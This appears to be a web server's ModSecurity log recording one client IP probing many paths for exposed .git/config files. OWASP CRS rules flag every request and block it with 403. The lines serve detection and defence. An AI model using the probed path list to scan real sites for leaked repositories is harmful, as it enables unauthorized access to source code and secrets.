[Thu May 09 04:39:59.579420 2024] [:error] [pid 3088694] [client 91.215.85.43:46198] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FyQAAAAc&quot;]
[Thu May 09 04:39:59.579444 2024] [:error] [pid 3087045] [client 91.215.85.43:46218] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EQAAAAM&quot;]
[Thu May 09 04:39:59.582431 2024] [:error] [pid 3087042] [client 91.215.85.43:46222] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDgAAAAA&quot;]
[Thu May 09 04:39:59.582497 2024] [:error] [pid 3087043] [client 91.215.85.43:46224] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShwAAAAE&quot;]
[Thu May 09 04:39:59.582935 2024] [:error] [pid 3087042] [client 91.215.85.43:46222] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDgAAAAA&quot;]
[Thu May 09 04:39:59.583002 2024] [:error] [pid 3087043] [client 91.215.85.43:46224] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShwAAAAE&quot;]
[Thu May 09 04:39:59.583264 2024] [:error] [pid 3087043] [client 91.215.85.43:46224] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v2/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcShwAAAAE&quot;]
[Thu May 09 04:39:59.583273 2024] [:error] [pid 3087042] [client 91.215.85.43:46222] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v4/.git/config&quot;] [unique_id &quot;Zjw3f76BZEswTgH69C-YDgAAAAA&quot;]
[Thu May 09 04:39:59.583490 2024] [:error] [pid 3088694] [client 91.215.85.43:46198] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FyQAAAAc&quot;]
[Thu May 09 04:39:59.583682 2024] [:error] [pid 3088694] [client 91.215.85.43:46198] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shop/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FyQAAAAc&quot;]
[Thu May 09 04:39:59.583732 2024] [:error] [pid 3087045] [client 91.215.85.43:46218] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/admin/v3/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EQAAAAM&quot;]
[Thu May 09 04:39:59.596325 2024] [:error] [pid 3089373] [client 91.215.85.43:46238] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dgAAAAg&quot;]
[Thu May 09 04:39:59.596633 2024] [:error] [pid 3089373] [client 91.215.85.43:46238] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dgAAAAg&quot;]
[Thu May 09 04:39:59.596856 2024] [:error] [pid 3089373] [client 91.215.85.43:46238] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;Zjw3f-N0fMSfu-PymUG_dgAAAAg&quot;]
[Thu May 09 04:39:59.634905 2024] [:error] [pid 3087046] [client 91.215.85.43:46260] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TwAAAAQ&quot;]
[Thu May 09 04:39:59.635261 2024] [:error] [pid 3087046] [client 91.215.85.43:46260] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TwAAAAQ&quot;]
[Thu May 09 04:39:59.635531 2024] [:error] [pid 3087046] [client 91.215.85.43:46260] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5TwAAAAQ&quot;]
[Thu May 09 04:39:59.636306 2024] [:error] [pid 3087044] [client 91.215.85.43:46250] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /store/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__AAAAAI&quot;]
[Thu May 09 04:39:59.636672 2024] [:error] [pid 3087044] [client 91.215.85.43:46250] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__AAAAAI&quot;]
[Thu May 09 04:39:59.636948 2024] [:error] [pid 3087044] [client 91.215.85.43:46250] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/store/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb__AAAAAI&quot;]
[Thu May 09 04:39:59.669622 2024] [:error] [pid 3087047] [client 91.215.85.43:46266] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /user/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZAAAAAU&quot;]
[Thu May 09 04:39:59.670063 2024] [:error] [pid 3087047] [client 91.215.85.43:46266] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZAAAAAU&quot;]
[Thu May 09 04:39:59.670435 2024] [:error] [pid 3087047] [client 91.215.85.43:46266] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDZAAAAAU&quot;]
[Thu May 09 04:39:59.673879 2024] [:error] [pid 3087474] [client 91.215.85.43:46276] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPAAAAAY&quot;]
[Thu May 09 04:39:59.674381 2024] [:error] [pid 3087474] [client 91.215.85.43:46276] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPAAAAAY&quot;]
[Thu May 09 04:39:59.674507 2024] [:error] [pid 3087045] [client 91.215.85.43:46290] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v2/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EgAAAAM&quot;]
[Thu May 09 04:39:59.674815 2024] [:error] [pid 3087474] [client 91.215.85.43:46276] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuPAAAAAY&quot;]
[Thu May 09 04:39:59.674840 2024] [:error] [pid 3087045] [client 91.215.85.43:46290] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EgAAAAM&quot;]
[Thu May 09 04:39:59.675085 2024] [:error] [pid 3087045] [client 91.215.85.43:46290] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64EgAAAAM&quot;]
[Thu May 09 04:39:59.678661 2024] [:error] [pid 3087043] [client 91.215.85.43:46302] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /v3/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSiAAAAAE&quot;]
[Thu May 09 04:39:59.678935 2024] [:error] [pid 3087043] [client 91.215.85.43:46302] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSiAAAAAE&quot;]
[Thu May 09 04:39:59.679185 2024] [:error] [pid 3087043] [client 91.215.85.43:46302] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v3/.git/config&quot;] [unique_id &quot;Zjw3f0mmq5R-q7rmmbcSiAAAAAE&quot;]
[Thu May 09 04:39:59.681003 2024] [:error] [pid 3088694] [client 91.215.85.43:46326] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /web/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FygAAAAc&quot;]
